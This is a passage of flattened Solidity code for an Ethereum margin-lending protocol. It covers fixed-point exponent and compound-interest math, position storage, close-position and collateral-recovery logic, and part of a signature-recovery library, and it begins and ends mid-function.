internal
pure
returns (Fraction.Fraction128 memory)
{
require(
precomputePrecision <= MAX_PRECOMPUTE_PRECISION,
"Exponent#exp: Precompute precision over maximum"
);
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
uint256 integerX = uint256(Xcopy.num).div(Xcopy.den);
if (integerX == 0) {
return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision);
}
Fraction.Fraction128 memory expOfInt =
getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS);
while (integerX >= NUM_PRECOMPUTED_INTEGERS) {
expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS));
integerX -= NUM_PRECOMPUTED_INTEGERS;
}
Fraction.Fraction128 memory decimalX = Fraction.Fraction128({
num: Xcopy.num % Xcopy.den,
den: Xcopy.den
});
return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt);
}
function expHybrid(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION);
assert(X.num < X.den);
Fraction.Fraction128 memory Xtemp = X.copy();
if (Xtemp.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
uint256 d = 1;
for (uint256 i = 1; i <= precomputePrecision; i++) {
d *= 2;
if (d.mul(Xtemp.num) >= Xtemp.den) {
Xtemp = Xtemp.sub1Over(uint128(d));
result = result.mul(getPrecomputedEToTheHalfToThe(i));
}
}
return result.mul(expMaclaurin(Xtemp, maclaurinPrecision));
}
function expMaclaurin(
Fraction.Fraction128 memory X,
uint256 precision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
Fraction.Fraction128 memory Xtemp = ONE();
for (uint256 i = 1; i <= precision; i++) {
Xtemp = Xtemp.mul(Xcopy.div(uint128(i)));
result = result.add(Xtemp);
}
return result;
}
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= MAX_PRECOMPUTE_PRECISION);
uint128 denominator = [
125182886983370532117250726298150828301,
206391688497133195273760705512282642279,
265012173823417992016237332255925138361,
300298134811882980317033350418940119802,
319665700530617779809390163992561606014,
329812979126047300897653247035862915816,
335006777809430963166468914297166288162,
337634268532609249517744113622081347950,
338955731696479810470146282672867036734,
339618401537809365075354109784799900812,
339950222128463181389559457827561204959,
340116253979683015278260491021941090650,
340199300311581465057079429423749235412,
340240831081268226777032180141478221816,
340261598367316729254995498374473399540,
340271982485676106947851156443492415142,
340277174663693808406010255284800906112,
340279770782412691177936847400746725466,
340281068849199706686796915841848278311,
340281717884450116236033378667952410919,
340282042402539547492367191008339680733,
340282204661700319870089970029119685699,
340282285791309720262481214385569134454,
340282326356121674011576912006427792656,
340282346638529464274601981200276914173,
340282356779733812753265346086924801364,
340282361850336100329388676752133324799,
340282364385637272451648746721404212564,
340282365653287865596328444437856608255,
340282366287113163939555716675618384724,
340282366604025813553891209601455838559,
340282366762482138471739420386372790954,
340282366841710300958333641874363209044
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function getPrecomputedEToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= NUM_PRECOMPUTED_INTEGERS);
uint128 denominator = [
340282366920938463463374607431768211455,
125182886983370532117250726298150828301,
46052210507670172419625860892627118820,
16941661466271327126146327822211253888,
6232488952727653950957829210887653621,
2292804553036637136093891217529878878,
843475657686456657683449904934172134,
310297353591408453462393329342695980,
114152017036184782947077973323212575,
41994180235864621538772677139808695,
15448795557622704876497742989562086,
5683294276510101335127414470015662,
2090767122455392675095471286328463,
769150240628514374138961856925097,
282954560699298259527814398449860,
104093165666968799599694528310221,
38293735615330848145349245349513,
14087478058534870382224480725096,
5182493555688763339001418388912,
1906532833141383353974257736699,
701374233231058797338605168652,
258021160973090761055471434334,
94920680509187392077350434438,
34919366901332874995585576427,
12846117181722897538509298435,
4725822410035083116489797150,
1738532907279185132707372378,
639570514388029575350057932,
235284843422800231081973821,
86556456714490055457751527,
31842340925906738090071268,
11714142585413118080082437,
4309392228124372433711936
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function ONE()
private
pure
returns (Fraction.Fraction128 memory)
{
return Fraction.Fraction128({ num: 1, den: 1 });
}
}
library MathHelpers {
using SafeMath for uint256;
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return numerator.mul(target).div(denominator);
}
function getPartialAmountRoundedUp(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return divisionRoundedUp(numerator.mul(target), denominator);
}
function divisionRoundedUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
assert(denominator != 0);
if (numerator == 0) {
return 0;
}
return numerator.sub(1).div(denominator).add(1);
}
function maxUint256(
)
internal
pure
returns (uint256)
{
return 2 ** 256 - 1;
}
function maxUint32(
)
internal
pure
returns (uint32)
{
return 2 ** 32 - 1;
}
function getNumBits(
uint256 n
)
internal
pure
returns (uint256)
{
uint256 first = 0;
uint256 last = 256;
while (first < last) {
uint256 check = (first + last) / 2;
if ((n >> check) == 0) {
last = check;
} else {
first = check + 1;
}
}
assert(first <= 256);
return first;
}
}
library InterestImpl {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11;
uint256 constant DEFAULT_MACLAURIN_PRECISION = 5;
uint256 constant MAXIMUM_EXPONENT = 80;
uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613;
function getCompoundedInterest(
uint256 principal,
uint256 interestRate,
uint256 secondsOfInterest
)
public
pure
returns (uint256)
{
uint256 numerator = interestRate.mul(secondsOfInterest);
uint128 denominator = (10**8) * (365 * 1 days);
assert(numerator < 2**128);
Fraction.Fraction128 memory rt = Fraction.Fraction128({
num: uint128(numerator),
den: denominator
});
Fraction.Fraction128 memory eToRT;
if (numerator.div(denominator) >= MAXIMUM_EXPONENT) {
eToRT = Fraction.Fraction128({
num: E_TO_MAXIUMUM_EXPONENT,
den: 1
});
} else {
eToRT = Exponent.exp(
rt,
DEFAULT_PRECOMPUTE_PRECISION,
DEFAULT_MACLAURIN_PRECISION
);
}
assert(eToRT.num >= eToRT.den);
return safeMultiplyUint256ByFraction(principal, eToRT);
}
function safeMultiplyUint256ByFraction(
uint256 n,
Fraction.Fraction128 memory f
)
private
pure
returns (uint256)
{
uint256 term1 = n.div(2 ** 128);
uint256 term2 = n % (2 ** 128);
if (term1 > 0) {
term1 = term1.mul(f.num);
uint256 numBits = MathHelpers.getNumBits(term1);
term1 = MathHelpers.divisionRoundedUp(
term1 << (uint256(256).sub(numBits)),
f.den);
if (numBits > 128) {
term1 = term1 << (numBits.sub(128));
} else if (numBits < 128) {
term1 = term1 >> (uint256(128).sub(numBits));
}
}
term2 = MathHelpers.getPartialAmountRoundedUp(
f.num,
f.den,
term2
);
return term1.add(term2);
}
}
library MarginState {
struct State {
address VAULT;
address TOKEN_PROXY;
mapping (bytes32 => uint256) loanFills;
mapping (bytes32 => uint256) loanCancels;
mapping (bytes32 => MarginCommon.Position) positions;
mapping (bytes32 => bool) closedPositions;
mapping (bytes32 => uint256) totalOwedTokenRepaidToLender;
}
}
interface LoanOwner {
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
interface PositionOwner {
function receivePositionOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
library TransferInternal {
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
function grantLoanOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit LoanTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantLoanOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantLoanOwnership: New owner did not consent to owning loan"
);
return newOwner;
}
function grantPositionOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit PositionTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantPositionOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantPositionOwnership: New owner did not consent to owning position"
);
return newOwner;
}
}
library TimestampHelper {
function getBlockTimestamp32()
internal
view
returns (uint32)
{
assert(uint256(uint32(block.timestamp)) == block.timestamp);
assert(block.timestamp > 0);
return uint32(block.timestamp);
}
}
library MarginCommon {
using SafeMath for uint256;
struct Position {
address owedToken;
address heldToken;
address lender;
address owner;
uint256 principal;
uint256 requiredDeposit;
uint32 callTimeLimit;
uint32 startTimestamp;
uint32 callTimestamp;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
struct LoanOffering {
address owedToken;
address heldToken;
address payer;
address owner;
address taker;
address positionOwner;
address feeRecipient;
address lenderFeeToken;
address takerFeeToken;
LoanRates rates;
uint256 expirationTimestamp;
uint32 callTimeLimit;
uint32 maxDuration;
uint256 salt;
bytes32 loanHash;
bytes signature;
}
struct LoanRates {
uint256 maxAmount;
uint256 minAmount;
uint256 minHeldToken;
uint256 lenderFee;
uint256 takerFee;
uint32 interestRate;
uint32 interestPeriod;
}
function storeNewPosition(
MarginState.State storage state,
bytes32 positionId,
Position memory position,
address loanPayer
)
internal
{
assert(!positionHasExisted(state, positionId));
assert(position.owedToken != address(0));
assert(position.heldToken != address(0));
assert(position.owedToken != position.heldToken);
assert(position.owner != address(0));
assert(position.lender != address(0));
assert(position.maxDuration != 0);
assert(position.interestPeriod <= position.maxDuration);
assert(position.callTimestamp == 0);
assert(position.requiredDeposit == 0);
state.positions[positionId].owedToken = position.owedToken;
state.positions[positionId].heldToken = position.heldToken;
state.positions[positionId].principal = position.principal;
state.positions[positionId].callTimeLimit = position.callTimeLimit;
state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32();
state.positions[positionId].maxDuration = position.maxDuration;
state.positions[positionId].interestRate = position.interestRate;
state.positions[positionId].interestPeriod = position.interestPeriod;
state.positions[positionId].owner = TransferInternal.grantPositionOwnership(
positionId,
(position.owner != msg.sender) ? msg.sender : address(0),
position.owner
);
state.positions[positionId].lender = TransferInternal.grantLoanOwnership(
positionId,
(position.lender != loanPayer) ? loanPayer : address(0),
position.lender
);
}
function getPositionIdFromNonce(
uint256 nonce
)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked(msg.sender, nonce));
}
function getUnavailableLoanOfferingAmountImpl(
MarginState.State storage state,
bytes32 loanHash
)
internal
view
returns (uint256)
{
return state.loanFills[loanHash].add(state.loanCancels[loanHash]);
}
function cleanupPosition(
MarginState.State storage state,
bytes32 positionId
)
internal
{
delete state.positions[positionId];
state.closedPositions[positionId] = true;
}
function calculateOwedAmount(
Position storage position,
uint256 closeAmount,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
closeAmount,
position.interestRate,
timeElapsed
);
}
function calculateEffectiveTimeElapsed(
Position storage position,
uint256 timestamp
)
internal
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function calculateLenderAmountForIncreasePosition(
Position storage position,
uint256 principalToAdd,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
principalToAdd,
position.interestRate,
timeElapsed
);
}
function getLoanOfferingHash(
LoanOffering loanOffering
)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
address(this),
loanOffering.owedToken,
loanOffering.heldToken,
loanOffering.payer,
loanOffering.owner,
loanOffering.taker,
loanOffering.positionOwner,
loanOffering.feeRecipient,
loanOffering.lenderFeeToken,
loanOffering.takerFeeToken,
getValuesHash(loanOffering)
)
);
}
function getPositionBalanceImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns(uint256)
{
return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken);
}
function containsPositionImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return state.positions[positionId].startTimestamp != 0;
}
function positionHasExisted(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return containsPositionImpl(state, positionId) || state.closedPositions[positionId];
}
function getPositionFromStorage(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (Position storage)
{
Position storage position = state.positions[positionId];
require(
position.startTimestamp != 0,
"MarginCommon#getPositionFromStorage: The position does not exist"
);
return position;
}
function calculateEffectiveTimeElapsedForNewLender(
Position storage position,
uint256 timestamp
)
private
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = elapsed.div(period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function getValuesHash(
LoanOffering loanOffering
)
private
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
loanOffering.rates.maxAmount,
loanOffering.rates.minAmount,
loanOffering.rates.minHeldToken,
loanOffering.rates.lenderFee,
loanOffering.rates.takerFee,
loanOffering.expirationTimestamp,
loanOffering.salt,
loanOffering.callTimeLimit,
loanOffering.maxDuration,
loanOffering.rates.interestRate,
loanOffering.rates.interestPeriod
)
);
}
}
interface PayoutRecipient {
function receiveClosePositionPayout(
bytes32 positionId,
uint256 closeAmount,
address closer,
address positionOwner,
address heldToken,
uint256 payout,
uint256 totalHeldToken,
bool payoutInHeldToken
)
external
returns (bool);
}
interface CloseLoanDelegator {
function closeLoanOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
interface ClosePositionDelegator {
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
library ClosePositionShared {
using SafeMath for uint256;
struct CloseTx {
bytes32 positionId;
uint256 originalPrincipal;
uint256 closeAmount;
uint256 owedTokenOwed;
uint256 startingHeldTokenBalance;
uint256 availableHeldToken;
address payoutRecipient;
address owedToken;
address heldToken;
address positionOwner;
address positionLender;
address exchangeWrapper;
bool payoutInHeldToken;
}
function closePositionStateUpdate(
MarginState.State storage state,
CloseTx memory transaction
)
internal
{
if (transaction.closeAmount == transaction.originalPrincipal) {
MarginCommon.cleanupPosition(state, transaction.positionId);
} else {
assert(
transaction.originalPrincipal == state.positions[transaction.positionId].principal
);
state.positions[transaction.positionId].principal =
transaction.originalPrincipal.sub(transaction.closeAmount);
}
}
function sendTokensToPayoutRecipient(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
)
internal
returns (uint256)
{
uint256 payout;
if (transaction.payoutInHeldToken) {
payout = transaction.availableHeldToken.sub(buybackCostInHeldToken);
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.payoutRecipient,
payout
);
} else {
assert(transaction.exchangeWrapper != address(0));
payout = receivedOwedToken.sub(transaction.owedTokenOwed);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.payoutRecipient,
payout
);
}
if (AddressUtils.isContract(transaction.payoutRecipient)) {
require(
PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout(
transaction.positionId,
transaction.closeAmount,
msg.sender,
transaction.positionOwner,
transaction.heldToken,
payout,
transaction.availableHeldToken,
transaction.payoutInHeldToken
),
"ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent"
);
}
assert(
MarginCommon.getPositionBalanceImpl(state, transaction.positionId)
== transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken)
);
return payout;
}
function createCloseTx(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
internal
returns (CloseTx memory)
{
require(
payoutRecipient != address(0),
"ClosePositionShared#createCloseTx: Payout recipient cannot be 0"
);
require(
requestedAmount > 0,
"ClosePositionShared#createCloseTx: Requested close amount cannot be 0"
);
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 closeAmount = getApprovedAmount(
position,
positionId,
requestedAmount,
payoutRecipient,
isWithoutCounterparty
);
return parseCloseTx(
state,
position,
positionId,
closeAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
isWithoutCounterparty
);
}
function getApprovedAmount(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
bool requireLenderApproval
)
private
returns (uint256)
{
uint256 allowedAmount = Math.min256(requestedAmount, position.principal);
allowedAmount = closePositionOnBehalfOfRecurse(
position.owner,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
if (requireLenderApproval) {
allowedAmount = closeLoanOnBehalfOfRecurse(
position.lender,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= position.principal);
assert(allowedAmount <= requestedAmount);
return allowedAmount;
}
function closePositionOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = ClosePositionDelegator(contractAddr).closeOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closePositionRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closePositionOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function closeLoanOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closeLoanOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function parseCloseTx(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 closeAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
private
view
returns (CloseTx memory)
{
uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
uint256 availableHeldToken = MathHelpers.getPartialAmount(
closeAmount,
position.principal,
startingHeldTokenBalance
);
uint256 owedTokenOwed = 0;
if (!isWithoutCounterparty) {
owedTokenOwed = MarginCommon.calculateOwedAmount(
position,
closeAmount,
block.timestamp
);
}
return CloseTx({
positionId: positionId,
originalPrincipal: position.principal,
closeAmount: closeAmount,
owedTokenOwed: owedTokenOwed,
startingHeldTokenBalance: startingHeldTokenBalance,
availableHeldToken: availableHeldToken,
payoutRecipient: payoutRecipient,
owedToken: position.owedToken,
heldToken: position.heldToken,
positionOwner: position.owner,
positionLender: position.lender,
exchangeWrapper: exchangeWrapper,
payoutInHeldToken: payoutInHeldToken
});
}
}
interface ExchangeWrapper {
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes orderData
)
external
returns (uint256);
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes orderData
)
external
view
returns (uint256);
}
library ClosePositionImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closePositionImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes memory orderData
)
public
returns (uint256, uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
false
);
(
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
) = returnOwedTokensToLender(
state,
transaction,
orderData
);
uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
buybackCostInHeldToken,
receivedOwedToken
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnClose(
transaction,
buybackCostInHeldToken,
payout
);
return (
transaction.closeAmount,
payout,
transaction.owedTokenOwed
);
}
function returnOwedTokensToLender(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken = 0;
uint256 receivedOwedToken = 0;
uint256 lenderOwedToken = transaction.owedTokenOwed;
if (transaction.exchangeWrapper == address(0)) {
require(
transaction.payoutInHeldToken,
"ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken"
);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
msg.sender,
transaction.positionLender,
lenderOwedToken
);
} else {
(buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken(
state,
transaction,
orderData
);
if (transaction.payoutInHeldToken) {
assert(receivedOwedToken >= lenderOwedToken);
lenderOwedToken = receivedOwedToken;
}
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.positionLender,
lenderOwedToken
);
}
state.totalOwedTokenRepaidToLender[transaction.positionId] =
state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken);
return (buybackCostInHeldToken, receivedOwedToken);
}
function buyBackOwedToken(
MarginState.State storage state,
ClosePositionShared.CloseTx transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken;
if (transaction.payoutInHeldToken) {
buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper)
.getExchangeCost(
transaction.owedToken,
transaction.heldToken,
transaction.owedTokenOwed,
orderData
);
require(
buybackCostInHeldToken <= transaction.availableHeldToken,
"ClosePositionImpl#buyBackOwedToken: Not enough available heldToken"
);
} else {
buybackCostInHeldToken = transaction.availableHeldToken;
}
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.exchangeWrapper,
buybackCostInHeldToken
);
uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.owedToken,
transaction.heldToken,
buybackCostInHeldToken,
orderData
);
require(
receivedOwedToken >= transaction.owedTokenOwed,
"ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken"
);
return (buybackCostInHeldToken, receivedOwedToken);
}
function logEventOnClose(
ClosePositionShared.CloseTx transaction,
uint256 buybackCostInHeldToken,
uint256 payout
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
transaction.owedTokenOwed,
payout,
buybackCostInHeldToken,
transaction.payoutInHeldToken
);
}
}
library CloseWithoutCounterpartyImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closeWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
public
returns (uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
true
);
uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
0,
0
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnCloseWithoutCounterparty(transaction);
return (
transaction.closeAmount,
heldTokenPayout
);
}
function logEventOnCloseWithoutCounterparty(
ClosePositionShared.CloseTx transaction
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
0,
transaction.availableHeldToken,
0,
true
);
}
}
interface DepositCollateralDelegator {
function depositCollateralOnBehalfOf(
address depositor,
bytes32 positionId,
uint256 amount
)
external
returns (address);
}
library DepositCollateralImpl {
using SafeMath for uint256;
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
function depositCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 depositAmount
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
depositAmount > 0,
"DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0"
);
depositCollateralOnBehalfOfRecurse(
position.owner,
msg.sender,
positionId,
depositAmount
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
depositAmount
);
bool marginCallCanceled = false;
uint256 requiredDeposit = position.requiredDeposit;
if (position.callTimestamp > 0 && requiredDeposit > 0) {
if (depositAmount >= requiredDeposit) {
position.requiredDeposit = 0;
position.callTimestamp = 0;
marginCallCanceled = true;
} else {
position.requiredDeposit = position.requiredDeposit.sub(depositAmount);
}
}
emit AdditionalCollateralDeposited(
positionId,
depositAmount,
msg.sender
);
if (marginCallCanceled) {
emit MarginCallCanceled(
positionId,
position.lender,
msg.sender,
depositAmount
);
}
}
function depositCollateralOnBehalfOfRecurse(
address contractAddr,
address depositor,
bytes32 positionId,
uint256 amount
)
private
{
if (depositor == contractAddr) {
return;
}
address newContractAddr =
DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf(
depositor,
positionId,
amount
);
if (newContractAddr != contractAddr) {
depositCollateralOnBehalfOfRecurse(
newContractAddr,
depositor,
positionId,
amount
);
}
}
}
interface ForceRecoverCollateralDelegator {
function forceRecoverCollateralOnBehalfOf(
address recoverer,
bytes32 positionId,
address recipient
)
external
returns (address);
}
library ForceRecoverCollateralImpl {
using SafeMath for uint256;
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
function forceRecoverCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
address recipient
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
(
position.callTimestamp > 0
&& block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit)
) || (
block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration)
),
"ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet"
);
forceRecoverCollateralOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
recipient
);
uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId);
Vault(state.VAULT).transferFromVault(
positionId,
position.heldToken,
recipient,
heldTokenRecovered
);
MarginCommon.cleanupPosition(
state,
positionId
);
emit CollateralForceRecovered(
positionId,
recipient,
heldTokenRecovered
);
return heldTokenRecovered;
}
function forceRecoverCollateralOnBehalfOfRecurse(
address contractAddr,
address recoverer,
bytes32 positionId,
address recipient
)
private
{
if (recoverer == contractAddr) {
return;
}
address newContractAddr =
ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf(
recoverer,
positionId,
recipient
);
if (newContractAddr != contractAddr) {
forceRecoverCollateralOnBehalfOfRecurse(
newContractAddr,
recoverer,
positionId,
recipient
);
}
}
}
library TypedSignature {
uint8 private constant SIGTYPE_INVALID = 0;
uint8 private constant SIGTYPE_ECRECOVER_DEC = 1;
uint8 private constant SIGTYPE_ECRECOVER_HEX = 2;
uint8 private constant SIGTYPE_UNSUPPORTED = 3;
bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20";
bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32";
function recover(
bytes32 hash,
bytes signatureWithType
)
internal
pure
returns (address)
{
require(
signatureWithType.length == 66,
"SignatureValidator#validateSignature: invalid signature length"
);
uint8 sigType = uint8(signatureWithType[0]);
require(
sigType > uint8(SIGTYPE_INVALID),
"SignatureValidator#validateSignature: invalid signature type"
);
require(
sigType < uint8(SIGTYPE_UNSUPPORTED),
